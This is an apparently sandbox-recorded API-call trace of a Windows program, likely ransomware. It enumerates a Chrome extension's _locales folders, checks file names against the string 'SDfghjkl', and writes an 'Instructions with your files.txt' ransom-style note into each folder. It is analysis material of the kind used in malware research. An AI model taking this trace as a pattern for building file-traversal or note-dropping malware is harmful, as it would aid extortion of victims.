[0129.904] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.904] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.904] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.905] CloseHandle (hObject=0x134) returned 1
[0129.905] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.905] GetProcessHeap () returned 0x810000
[0129.905] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.905] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826b8730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826bae40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826bae40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
[0129.905] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de") returned 145
[0129.905] GetProcessHeap () returned 0x810000
[0129.905] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.905] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\*") returned 147
[0129.905] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826b8730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826bae40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826bae40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.905] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\.") returned 147
[0129.905] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826b8730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826bae40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826bae40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.905] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\..") returned 148
[0129.905] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826bae40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826bae40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.905] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json") returned 159
[0129.905] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.905] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826bae40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826bae40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.905] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\Instructions with your files.txt") returned 178
[0129.906] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.906] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.907] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.907] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.907] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.907] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.907] CloseHandle (hObject=0x134) returned 1
[0129.907] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.907] GetProcessHeap () returned 0x810000
[0129.907] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.907] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826c2370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826c7190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826c7190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
[0129.907] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el") returned 145
[0129.907] GetProcessHeap () returned 0x810000
[0129.907] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.907] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\*") returned 147
[0129.907] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826c2370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826c7190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826c7190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.909] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\.") returned 147
[0129.909] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826c2370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826c7190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826c7190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.909] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\..") returned 148
[0129.909] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826c7190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826c7190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x36b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.909] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json") returned 159
[0129.909] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.909] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826c7190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826c7190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x36b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.909] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\Instructions with your files.txt") returned 178
[0129.909] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.910] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.911] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.911] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.911] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.911] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.911] CloseHandle (hObject=0x134) returned 1
[0129.911] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.913] GetProcessHeap () returned 0x810000
[0129.913] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.913] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ce6c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826d0dd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826d0dd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1
[0129.913] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en") returned 145
[0129.913] GetProcessHeap () returned 0x810000
[0129.913] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.913] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\*") returned 147
[0129.913] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ce6c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826d0dd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826d0dd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.913] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\.") returned 147
[0129.913] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ce6c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826d0dd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826d0dd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.913] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\..") returned 148
[0129.913] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826d0dd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826d34e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.913] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json") returned 159
[0129.914] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.914] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826d0dd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826d34e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.914] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\Instructions with your files.txt") returned 178
[0129.914] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.914] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.915] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.915] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.915] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.915] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.915] CloseHandle (hObject=0x134) returned 1
[0129.915] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.915] GetProcessHeap () returned 0x810000
[0129.915] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.916] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826d8300, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826df830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826df830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1
[0129.916] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB") returned 148
[0129.916] GetProcessHeap () returned 0x810000
[0129.916] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.916] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\*") returned 150
[0129.916] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826d8300, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826df830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826df830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.917] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\.") returned 150
[0129.917] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826d8300, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826df830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826df830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.917] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\..") returned 151
